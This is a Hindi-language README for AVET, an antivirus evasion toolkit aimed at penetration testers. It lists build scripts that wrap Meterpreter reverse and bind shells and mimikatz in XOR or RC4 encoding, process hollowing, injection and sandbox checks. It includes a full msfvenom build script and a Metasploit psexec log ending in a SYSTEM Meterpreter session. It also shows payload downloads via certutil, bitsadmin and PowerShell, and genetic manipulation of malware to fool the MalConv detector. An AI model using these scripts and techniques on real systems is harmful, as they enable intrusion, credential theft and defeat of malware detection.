
एंटीवायरस बाईपास टूल
AVET एक एंटीवायरस एवेज़न टूल है, जिसे पेंटेस्टर्स के लिए जीवन आसान बनाने और एंटीवायरस एवेज़न तकनीकों के साथ-साथ दुर्भावनापूर्ण सॉफ्टवेयर द्वारा उपयोग की जाने वाली अन्य विधियों के साथ प्रयोग करने के लिए विकसित किया गया था। v2.4 में नई सुविधाओं के अवलोकन के साथ-साथ पिछले संस्करण वृद्धियों के लिए, CHANGELOG फ़ाइल देखें।
सभी तकनीकें प्रत्येक AV इंजन को एवेड नहीं करेंगी। यदि एक तकनीक या बिल्ड स्क्रिप्ट काम नहीं करती है, तो कृपया दूसरी का परीक्षण करें। प्रयोग करने के लिए स्वतंत्र महसूस करें! आखिरकार यह एक टूलबॉक्स है - फिर भी आपको खुद हथौड़ा चलाना चाहिए।
स्थापना निर्देश Kali 64bit और tdm-gcc पर लागू होता है!
आप सेटअप स्क्रिप्ट का उपयोग कर सकते हैं:```bash ./setup.sh
यह आपको वाइन इंस्टॉल/कॉन्फ़िगर करके और tdm-gcc इंस्टॉल करके स्वचालित रूप से शुरू करना चाहिए।
हालाँकि आपको जल्द ही tdm-gcc इंस्टॉलर GUI पर क्लिक करना होगा - मानक सेटिंग्स ठीक रहनी चाहिए।
स्क्रिप्ट यह भी पूछेगी कि क्या आप AVET की निर्भरताएँ स्थापित करना चाहते हैं, जो कुछ बिल्ड स्क्रिप्ट्स का उपयोग करने के लिए आवश्यक हैं। प्राप्त की गई निर्भरताएँ avet फ़ोल्डर के बगल में अलग-अलग फ़ोल्डरों में रखी जाएंगी।
निर्भरताएँ नवीनतम रिलीज़ प्राप्त करेंगी:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
यदि किसी भी कारण से आप वाइन और tdm-gcc को मैन्युअल रूप से स्थापित करना चाहते हैं:
- [How to install tdm-gcc with wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)
## डॉकर
यदि आप Kali का उपयोग नहीं कर रहे हैं या अपने सिस्टम पर Metasploit स्थापित नहीं करना चाहते हैं, तो आप इसके बजाय Docker Container का उपयोग कर सकते हैं।
कंटेनर Metasploit और avet को समाहित करता है और नमूने आपकी वर्तमान निर्देशिका में बनाए जाएंगे।
एक ग्राफिकल टेक्स्ट एडिटर जैसे gedit का उपयोग करना भी संभव है।
कंटेनर बनाना:```bash
sudo docker build -t avet:v0.1 .
उपयोग:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash
बेहतर अनुभव के लिए इसे alias करने की सिफारिश की जाती है।```bash
# In your .bash_profile, .bashrc or .bash_aliases
alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'
avet.py एक छोटी Python उपयोगिता है जो आपको टूल का उपयोग करने में सहायता करने के लिए डिज़ाइन की गई है।
यह build फ़ोल्डर में वर्तमान में मौजूद सभी स्क्रिप्ट्स को सूचीबद्ध करता है। एक का चयन करने के बाद, आप स्क्रिप्ट को पंक्ति दर पंक्ति चल सकेंगे, और मौके पर ही सामग्री को संशोधित करने का अवसर मिलेगा।
यह विशेष रूप से उपयोगी है क्योंकि आप हर बार जब fabric के माध्यम से build स्क्रिप्ट चलाते हैं तो msfvenom के लिए नए LHOST और LPORT वेरिएबल्स परिभाषित कर सकते हैं।
आप /build/global_connect_config.sh फ़ाइल में डिफ़ॉल्ट LHOST और LPORT मान परिभाषित कर सकते हैं, जो उपयोग किए जाते हैं यदि आप पुनर्परिभाषित नहीं करते।
ये संशोधन अस्थायी हैं, जिसका अर्थ है कि आपके द्वारा किए गए कोई भी परिवर्तन डिस्क पर build स्क्रिप्ट में स्थायी नहीं होंगे। संशोधित संस्करण एक बार निष्पादित किया जाता है, और आपका निष्पादन योग्य बनाया जाता है।
.| , +
* | | (( *
|'| ` ._____
+ ___ | | * |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to the avet Assistant!
0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh
Which Script would you like to configure and build? Enter the corresponding number -> 43
DESCRIPTION :
Configure the Build Script
-> enable_debug_print
-> generate_key preset aabbccdd1122
Do you want to add sandbox evasions? [y/N] -> N
Executable will be created Shortly please wait.
*** ============================================= ***
.==,_
.===,_`\\
.====,_ ` \\ .====,__
--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /
|\ __ |\ \ / /|\ \ |_ \
\ \ |\ \ \ \ / / | \ _ |__|\ _|
\ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _ \ \ \
\ _\ _\ _/ / \ _\ \ __
||||||/ |___| ||
*** ============================================= ***
Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt
Your executable should be in the output folder!
</details>
## AVET का सामान्य तरीका
बेशक, कमांड लाइन से सभी कमांड को चरण दर चरण चलाना संभव है। हालांकि, "build" फ़ोल्डर में आपको प्रासंगिक उपयोग मामलों के लिए पूर्व-कॉन्फ़िगर किए गए बिल्ड स्क्रिप्ट मिलेंगे। बिल्ड स्क्रिप्ट स्वयं इस प्रकार लिखी गई हैं कि उन्हें avet निर्देशिका के भीतर से बुलाया जाना चाहिए:```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh
आप /build/global_connect_config.sh फ़ाइल में metasploit पेलोड के लिए डिफ़ॉल्ट LHOST और LPORT मान परिभाषित कर सकते हैं, जिनका उपयोग तब किया जाता है यदि आप पुनर्परिभाषित नहीं करते।
दो चरणों में 32-बिट प्रोसेस होलोइंग एक्ज़ीक्यूटेबल जनरेट करें (जैसा कि build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.sh में है):
पहला, AVET के साथ होलोइंग पेलोड जनरेट करें:
दूसरा, "ड्रॉपर" एक्ज़ीक्यूटेबल बनाएँ जो होलोइंग के माध्यम से पहले चरण का पेलोड प्रदान करता है:
इस प्रकार आपको एक दो-परत वाला पर्यावरण-जाँचित और एन्क्रिप्टेड मीटरप्रीटर पेलोड मिलता है, जिसे आपकी पसंद के प्रोसेस में होलो किया गया है। जबकि बिल्ड स्क्रिप्ट में सेटिंग्स अधिकतर प्रदर्शन उद्देश्यों के लिए हैं, बिल्ड स्क्रिप्ट में सरल संशोधन करके आपके जनरेटेड एक्ज़ीक्यूटेबल को अनुकूलित करने में बहुत अधिक लचीलापन है।
आप डेटा पुनर्प्राप्ति विधियों को बदल सकते हैं: अधिकांश डेटा को स्थिर रूप से एक्ज़ीक्यूटेबल में कंपाइल करने के बजाय, आप अपने होलोइंग पेलोड को पावरशेल के माध्यम से डाउनलोड कर सकते हैं, डिक्रिप्शन कुंजी को सॉकेट के माध्यम से डाउनलोड कर सकते हैं, विभिन्न एन्क्रिप्शन या पर्यावरणीय जाँच का उपयोग कर सकते हैं, आदि।
या तीसरे बिल्ड पुनरावृत्ति द्वारा अधिक एवेज़न परतें जोड़ने का प्रयास करें। या पेलोड को बदलें। इसके बजाय Mimikatz का उपयोग करना चाहते हैं? इसे https://github.com/hasherezade/pe_to_shellcode के माध्यम से शेलकोड में बदलें, और बिल्ड स्क्रिप्ट में पेलोड बदलें।
बेशक, आप अधिक न्यूनतम बिल्ड भी डिज़ाइन कर सकते हैं, जैसे कि केवल एक पर्यावरणीय जाँच के साथ अनएन्क्रिप्टेड शेलकोड को निष्पादित करना, या शायद शिकाता के 50 पुनरावृत्ति आपके लक्ष्य तक पहुँचने के लिए पर्याप्त हों? अपनी आवश्यकताओं के अनुसार बिल्ड स्क्रिप्ट चुनें/संशोधित करें।
नीचे, वर्तमान में शिप की गई सभी बिल्ड स्क्रिप्ट की सूची पाएँ। नाम प्रत्येक स्क्रिप्ट की कार्यक्षमता का संकेत देने चाहिए। विस्तृत जानकारी के लिए, स्क्रिप्ट के अंदर टिप्पणियों पर विचार करें। अपना कस्टम एक्ज़ीक्यूटेबल बनाने के लिए अपनी स्वयं की बिल्ड स्क्रिप्ट को संशोधित/लिखने में संकोच न करें!
ये विधियाँ AVET के सभी डेटा स्रोतों के साथ संगत हैं और बिल्ड स्क्रिप्ट में इस रूप में उपयोग की जा सकती हैं।
कुछ उदाहरण:```
set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd
set_payload_source download_powershell set_payload_execution_method exec_shellcode64
set_key_source download_socket set_decoder xor
set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll
यदि सुविधाओं को छोड़ दिया जाता है/उपयोग नहीं किया जाता है, तो आपको इसके बजाय NOP-जैसा व्यवहार निर्दिष्ट करना होगा:```
set_command_source no_data
set_command_exec no_command
डेटा एक फ़ाइल से प्राप्त किया जाता है और उत्पन्न निष्पादन योग्य में स्थिर रूप से संकलित किया जाता है। इसके काम करने के लिए, डेटा को संकलन समय पर सी-शैली ऐरे के रूप में प्रदान किया जाना चाहिए, जैसे``` unsigned char buf[] = "\x00\x11\x22\x33";
#### static_from_here
डेटा स्थिर रूप से जनरेटेड एक्ज़ीक्यूटेबल में संकलित किया जाता है, जिसे बिल्ड स्क्रिप्ट में निर्दिष्ट तर्क से प्राप्त किया जाता है।
#### dynamic_from_file
डेटा रन टाइम पर एक फ़ाइल से पढ़ा जाता है।
#### from_command_line_hex
डेटा को कमांड लाइन से "11aabb22.." प्रारूप हेक्स स्ट्रिंग से प्राप्त करता है।
#### from_command_line_raw
डेटा को कमांड लाइन तर्क से प्राप्त करता है। दिए गए ASCII स्ट्रिंग को रॉ बाइट डेटा के रूप में व्याख्यायित किया जाता है।
#### download_certutil
निर्दिष्ट URI से डेटा डाउनलोड करता है, ```certutil.exe -urlcache -split -f``` का उपयोग करके।
डेटा पढ़ने से पहले डाउनलोड की गई फ़ाइल को डिस्क पर छोड़ता है।
#### download_curl
डेटा डाउनलोड करने के लिए curl का उपयोग करता है।
डेटा पढ़ने से पहले डाउनलोड की गई फ़ाइल को डिस्क पर छोड़ता है।
#### download_internet_explorer
Internet Explorer का उपयोग करके निर्दिष्ट URL से डेटा डाउनलोड करता है।
डेटा पढ़ने से पहले डाउनलोड की गई फ़ाइल को डिस्क पर छोड़ता है।
#### download_powershell
powershell के माध्यम से निर्दिष्ट URI से डेटा डाउनलोड करता है।
डेटा पढ़ने से पहले डाउनलोड की गई फ़ाइल को डिस्क पर छोड़ता है।
#### download_socket
सॉकेट का उपयोग करके निर्दिष्ट URI से डेटा डाउनलोड करता है।
डेटा सीधे मेमोरी में पढ़ा जाता है, डिस्क पर कोई फ़ाइल नहीं छोड़ी जाती।
#### download_bitsadmin
BITSAdmin Windows उपयोगिता का उपयोग करके डेटा डाउनलोड करता है।
डेटा पढ़ने से पहले डाउनलोड की गई फ़ाइल को डिस्क पर छोड़ता है।
### Payload execution methods
पेलोड को कैसे निष्पादित/वितरित किया जाए। इंजेक्शन/हॉलोइंग विधियों को इंजेक्शन लक्ष्य के बारे में अतिरिक्त जानकारी की आवश्यकता होती है, जिसे ```set_payload_info_source <the_info>``` के माध्यम से दिया जा सकता है (डेटा पुनर्प्राप्ति विधियाँ देखें)।
#### exec_shellcode
32-बिट शेलकोड को C फंक्शन बाइंडिंग के साथ निष्पादित करता है।
#### exec_shellcode64
64-बिट शेलकोड को C फंक्शन बाइंडिंग और VirtualProtect के साथ निष्पादित करता है।
#### exec_shellcode_ASCIIMSF
ASCIIMSF एन्कोडेड शेलकोड को ```call eax``` के माध्यम से निष्पादित करता है।
#### hollowing32
एक नई प्रक्रिया आरंभ करता है, मूल इमेज को काटता है और दिए गए पेलोड को नई प्रक्रिया में हॉलो करता है।
पेलोड एक 32-बिट एक्ज़ीक्यूटेबल इमेज है। 32-बिट लक्ष्यों पर काम करता है।
#### hollowing64
hollowing32 के समान, लेकिन 64-बिट लक्ष्य प्रक्रियाओं के लिए 64-बिट PE पेलोड का उपयोग करता है।
#### inject_dll
```CreateRemoteThread``` का उपयोग करके लक्ष्य प्रक्रिया में एक DLL इंजेक्ट करता है।
इंजेक्शन 32-बिट प्रक्रियाओं में 32-बिट पेलोड के लिए, और 64-बिट प्रक्रियाओं में 64-बिट पेलोड के लिए काम करता है।
#### inject_shellcode
```CreateRemoteThread``` का उपयोग करके लक्ष्य प्रक्रिया में शेलकोड इंजेक्ट करता है।
इंजेक्शन 32-बिट प्रक्रियाओं में 32-बिट शेलकोड के लिए, और 64-बिट प्रक्रियाओं में 64-बिट शेलकोड के लिए काम करता है।
### Encryption and Encoding
AVET प्रत्येक योजना के लिए एन्कोडर प्रदान करता है, जिन्हें संकलन/वितरण से पहले पेलोड पर लागू किया जा सकता है।
निष्पादन पर, निर्दिष्ट डिकोडर फिर रन टाइम पर पेलोड को डिओब्फस्केट करता है।
Here is an RC4 example, where the decryption key is retrieved from the command line in hex format at execution time:```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4
आप शेलकोड को आगे एन्कोड न करके और सेट करके एन्कोडिंग सुविधा को छोड़ भी सकते हैं:``` set_key_source no_data set_decoder none
#### xor
रोलिंग XOR, मल्टी-बाइट कुंजियों का समर्थन करता है।
#### avet
कस्टम एन्कोडिंग, ASCII प्रारूप की पुनर्व्याख्या।
#### rc4
RC4 एन्क्रिप्शन/डिक्रिप्शन, लचीली कुंजी लंबाई के साथ।
### डीबगर और सैंडबॉक्स से बचाव
ये पर्यावरणीय जांचें हैं जो अंतिम एन्कोडिंग और पेलोड निष्पादन से पहले की जाती हैं।
यदि कोई अप्रिय निष्पादन वातावरण (जैसे AV सैंडबॉक्स) का पता चलता है, तो निष्पादन रुक जाता है।
वर्तमान में, आप मनमाने ढंग से 10 जांचों को कतारबद्ध कर सकते हैं। एक ही तकनीक का कई बार उपयोग समर्थित है।
कतार सीमा *EVASION_ARRAY_SIZE* को हालांकि *avet.c* में आसानी से संशोधित किया जा सकता है।
#### क्या डीबगर मौजूद है
isDebuggerPresent() फ़ंक्शन से जांचें कि क्या कोई डीबगर मौजूद है।
सत्य होने पर बाहर निकलें।```
add_evasion is_debugger_present
निष्पादन से पहले एक निश्चित समय के लिए Sleep करें। अवधि(सेकंड में) बिल्ड स्क्रिप्ट में निर्दिष्ट की जा सकती है, जैसे```
add_evasion evasion_by_sleep 3
#### पिंग द्वारा विलंब
लोकलहोस्ट के विरुद्ध एक समयबद्ध पिंग कमांड का आह्वान करके प्रोग्राम के निष्पादन को निर्दिष्ट सेकंड के लिए रोकें। प्रोग्राम प्रति सेकंड एक बार पिंग करता है।```
add_evasion sleep_by_ping 4
जांचें कि क्या सैंडबॉक्स ह्यूरिस्टिक जांच समय कम करने के लिए फास्ट फॉरवर्डिंग का उपयोग करता है। स्थानीय समय और स्लीप का उपयोग किया जाता है।``` add_evasion check_fast_forwarding
#### get tickcount
जांचें कि सैंडबॉक्स ह्यूरिस्टिक जांच समय को कम करने के लिए फास्ट फॉरवर्डिंग का उपयोग करता है या नहीं। अपटाइम और स्लीप का उपयोग किया जाता है।```
add_evasion get_tickcount
उपयोगकर्ता नाम प्राप्त करें और दिए गए उपयोगकर्ता नाम से तुलना करें। यदि यह मेल नहीं खाता है तो बाहर निकलें।``` add_evasion has_username 'IEUser'
#### Messagebox
निष्पादन से पहले एक सरल Messagebox प्रदर्शित करें। यदि अंकगणित सही ढंग से हल नहीं होता है, तो प्रोग्राम बंद हो जाता है।```
add_evasion interaction_msg_box
getchar का उपयोग करके इनपुट प्राप्त होने तक प्रतीक्षा करें।``` add_evasion interaction_getchar
#### सिस्टम पॉज़
निष्पादित करें system("pause"), जिससे स्पॉन किया गया cmd (और हमारी मुख्य प्रक्रिया) किसी भी कुंजी दबाने की प्रतीक्षा करता है।```
add_evasion interaction_system_pause
फ़ाइल के अस्तित्व की जाँच करता है। यदि नहीं मिली, तो निष्पादन रोकें। फ़ाइल का नाम बिल्ड स्क्रिप्ट में निर्दिष्ट किया जा सकता है, जैसे,``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'
#### bios info
जाँच करें कि क्या SMBIOS फर्मवेयर तालिका प्राप्त करना संभव है। यदि नहीं, तो निष्पादन रोकें।```
add_evasion get_bios_info
अपनी पसंद के होस्टनाम को हल करने का प्रयास करें। यदि gethostbyname NULL के अलावा कुछ लौटाता है, तो निष्पादन रोक दें। जाँच के लिए होस्टनाम बिल्ड स्क्रिप्ट में निर्दिष्ट किया जा सकता है, जैसे``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'
#### get_cpu_cores
लक्ष्य पर CPU कोर की संख्या की जाँच करता है। यदि संख्या निर्दिष्ट मान से कम है, तो निष्पादन रोक देता है।```
add_evasion get_cpu_cores 2
विक्रेता-विशिष्ट मैक उपसर्गों की जाँच करता है। यदि कोई पहचाना जाता है, तो निष्पादन रोकें।``` add_evasion has_vm_mac
#### has_vm_regkey
विक्रेता-विशिष्ट रजिस्ट्री कुंजियों की जाँच करता है। यदि कोई पहचाना जाता है, तो निष्पादन रोक देता है।```
add_evasion has_vm_regkey
यह वास्तव में एक चोरी तकनीक नहीं है, लेकिन आपकी कंसोल विंडो को छुपाता है ;)``` add_evasion hide_console
#### स्थापना तिथि
विंडोज की स्थापना तिथि प्राप्त करें और इसे निर्दिष्ट तिथि से तुलना करें। यदि तिथियाँ मेल नहीं खाती हैं, तो निष्पादन रोक दें। तिथि dd/mm/yyyy प्रारूप में निर्दिष्ट की जानी चाहिए।```
add_evasion get_install_date '24/11/2007'
चल रही प्रक्रियाओं की संख्या गिनें। यदि प्रक्रियाओं की संख्या दी गई सीमा से कम है, तो निष्पादन रोक दें।``` add_evasion get_num_processes 50
#### मानक ब्राउज़र
डिफ़ॉल्ट ब्राउज़र प्राप्त करने के लिए Registry Key पढ़ें। यदि ब्राउज़र दिए गए मान से मेल नहीं खाता है, तो निष्पादन रोकें। संभावित मान हैं MSEdgeHTM, Firefox या ChromeHTML।```
add_evasion get_standard_browser 'Firefox'
लक्ष्य जिस DNS domain में है, उसे क्वेरी करता है। यदि लक्ष्य निर्दिष्ट अनुसार अपेक्षित domain में नहीं है, तो प्रोग्राम बाहर निकलता है।``` add_evasion get_computer_domain 'domain.com'
#### गणना
Fibonacci
Fibonacci श्रृंखला के निर्दिष्ट पुनरावृत्तियों की गणना करें।
पूर्णांक सीमाओं के कारण बड़े n के लिए संभवतः गलत परिणाम उत्पन्न होंगे।```
# 10 iterations
add_evasion computation_fibonacci 10
समयबद्ध Fibonacci
लगभग निर्दिष्ट सेकंड के बाद Fibonacci गणनाओं को रोकता है।```
add_evasion computation_timed_fibonacci 20
#### फ़ोल्डर और अन्य
जांचें कि क्या आर्टिफैक्ट मौजूद है, यदि नहीं तो निष्पादन रोक दें। पथ यूनिक्स शैली में होने चाहिए।
पृष्ठभूमि वॉलपेपर:```
add_evasion has_background_wp
फ़ोल्डर की जाँच करें:``` add_evasion has_folder 'C:/Users/user/Downloads/'
सार्वजनिक डेस्कटॉप की जाँच करें:```
add_evasion has_public_desktop
रीसायकल बिन की जाँच करें``` add_evasion has_recycle_bin
हाल की फ़ाइल फ़ोल्डर की जाँच करें```
add_evasion has_recent_files
नेटवर्क ड्राइव की जाँच करें``` add_evasion has_network_drive
### अतिरिक्त कमांड निष्पादन
आपको सैंडबॉक्स एवेज़न फ़ंक्शंस के बाद सीधे एक अतिरिक्त cmd/powershell payload निष्पादित करने की क्षमता प्रदान करता है।
पेलोड स्रोत AVET के डेटा पुनर्प्राप्ति विधियों के साथ संगत है।
निम्नलिखित उदाहरण BITSAdmin के माध्यम से एक powershell payload डाउनलोड करता है:```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell
एक फ़ाइल से इनपुट के रूप में कच्चा डेटा लेता है, इसे C-स्वरूप में परिवर्तित करता है और आउटपुट को दूसरी फ़ाइल में लिखता है। यह static_from_file डेटा पुनर्प्राप्ति विधि के लिए सही स्वरूप प्रदान करने में सहायता करता है।
कुंजी उत्पादन उपयोगिता। या तो एक (गैर-क्रिप्टोग्राफिक रूप से) यादृच्छिक कुंजी उत्पन्न करता है या एक पूर्वनिर्धारित कुंजी को इनपुट के रूप में लेता है, और कच्चे कुंजी डेटा को एक निर्दिष्ट फ़ाइल में आउटपुट करता है। यह AVET एन्क्रिप्शन सुविधा के लिए कुंजी सामग्री प्रदान करने में सहायता करता है।
AVET 1.3 से उपयोगिता जो AVET एन्कोडिंग करती है।
AVET, मेटास्प्लॉइट के psexec मॉड्यूल के साथ संगत है। इसके लिए, उत्पन्न निष्पादन योग्य को एक विंडोज सेवा के रूप में संकलित करने की आवश्यकता है, जो avetsvc.c का उपयोग करके कार्यान्वित किया जाता है। संबंधित उदाहरण बिल्ड स्क्रिप्ट पर विचार करें
build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash
cat banner.txt
. build/global_win32.sh
. build/global_connect_config.sh
LPORT=$GLOBAL_LPORT
msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt
. build/feature_construction.sh
add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'
generate_key preset aabbcc12de input/key_raw.txt
encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt
./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf
set_command_source no_data set_command_exec no_command
set_payload_source static_from_file input/scenc_c.txt
./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key
set_key_source static_from_file input/key_c.txt
set_payload_info_source no_data
set_decoder xor
set_payload_execution_method exec_shellcode
enable_debug_print to_file C:/avetdbg.txt
$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe
cleanup_techniques
और मेटास्प्लॉइट पक्ष पर:```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run
[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200
msf exploit(psexec) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)
msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...
meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows
प्रतिकूल उदाहरण विशेष रूप से तैयार किए गए इनपुट होते हैं जिनका उद्देश्य मशीन लर्निंग मॉडल को गलत वर्गीकरण की ओर ले जाना होता है।
इस विधि का उपयोग करने के लिए, कृपया एक वर्चुअल एनवायरनमेंट बनाएँ और requirements.txt से आवश्यक निर्भरताएँ स्थापित करें।
PE फ़ाइलों के लिए पाँच कार्यक्षमता-संरक्षण हेरफेर उपलब्ध हैं:

यादृच्छिक बाइट्स इंजेक्ट किए गए मैलवेयर पर व्यावहारिक हेरफेर लागू करने के लिए, gen_adversarial_exe कमांड का उपयोग करें और उसके बाद व्यावहारिक हेरफेर का नाम और फ़ाइल का पथ पैरामीटर के रूप में दें।
उपलब्ध हेरफेर full_dos, extend, shift, padding, section_injection हैं।
उदाहरण के लिए:```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe
### जेनेटिक ऑप्टिमाइज़िंग
यादृच्छिक सामग्री इंजेक्ट करने के बजाय, सामग्री को अनुकूलित करना संभव है, ताकि चोरी-छिपे से बचने की उच्च संभावना प्राप्त हो सके।
ऑप्टिमाइज़र गुडवेयर से सौम्य अनुभाग निकालता है और इंजेक्ट की गई सामग्री को अनुकूलित करने के लिए आनुवंशिक एल्गोरिदम का उपयोग करता है।
सामग्री को MalConv के विरुद्ध अनुकूलित किया जाता है, जो एक कंवोल्यूशनल न्यूरल नेटवर्क पर आधारित स्थिर मशीन लर्निंग-आधारित डिटेक्टर है।
उपयोग की गई MalConv कार्यान्वयन [SecML Malware](https://github.com/pralab/secml_malware) लाइब्रेरी से है।
गुडवेयर आवश्यक है और इसे `input/goodware_samples` फ़ोल्डर में रखा जाना चाहिए।
उदाहरण के लिए [DikeDataset](https://github.com/iosifache/DikeDataset) सौम्य निष्पादन योग्य फ़ाइलें प्राप्त करने का एक अच्छा स्रोत है। जितनी अधिक हों, उतना बेहतर, लेकिन परीक्षण उद्देश्यों के लिए 100 पर्याप्त है।
ऑप्टिमाइज़र का उपयोग करने के लिए, `$genetic_optimizer` कमांड का उपयोग करें:```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe
संभावित विकल्प:``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection
